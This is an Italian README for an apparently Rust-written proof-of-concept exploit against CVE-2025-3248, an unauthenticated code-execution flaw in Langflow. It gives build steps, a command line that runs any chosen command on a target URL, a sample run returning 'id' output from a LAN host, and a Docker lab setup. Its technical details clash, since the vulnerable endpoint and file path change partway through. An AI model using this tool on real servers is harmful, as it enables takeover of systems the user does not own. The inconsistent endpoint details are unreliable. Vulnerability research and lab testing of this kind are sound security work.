
Exploit proof-of-concept basato su Rust per CVE-2025-3248, una RCE critica non autenticata in Langflow tramite /api/v1/validate/code, che consente l'esecuzione arbitraria di comandi.
⚠️ Avviso di non responsabilità
Questo codice è strettamente destinato a scopi educativi e di ricerca esclusivamente. L'uso non autorizzato su sistemi senza esplicita autorizzazione può costituire una violazione della legge.
L'autore non è responsabile per qualsiasi uso improprio o attività malevola che coinvolga questo strumento.
CVE-2025-3248 - Critico
Punteggio CVSS: 9.8 | Punteggio EPSS: 92.57% | Pubblicato: 22 maggio 2025
L'endpoint /api/v1/validate/code accetta codice Python non sanificato e lo esegue direttamente con exec(), senza richiedere autenticazione.
# langflow/api/builder/execute.py
exec(code) # No input validation or sandboxing!
Langflow espone un endpoint /api/v1/builder/execute_code che prende codice Python fornito dall'utente e lo passa direttamente a exec() nel backend. Poiché non c'è autenticazione né sandboxing, gli attaccanti possono creare payload arbitrari per l'esecuzione di codice.
# Clona repository
git clone <repo-url>
cd CVE-2025-3248-POC
cargo build --release
# ./target/release/CVE-2025-3248-POC
./CVE-2025-3248-POC --url <BASE_URL> --command "<COMMAND>"
❯ ./target/release/CVE-2025-3248-POC --url 'http://192.168.159.137:7860' --command 'id'
[+] Langflow RCE Exploit - CVE-2025-3248
[+] url :http://192.168.159.137:7860,
[+] Command: id
Status: 200 OK
uid=1000(user) gid=0(root) groups=0(root)
> cd lab
> sudo docker-compose up -d
> ./target/release/CVE-2025-3248-POC --url 'http://localhost:7860' --command 'whoami'
> sudo docker-compose down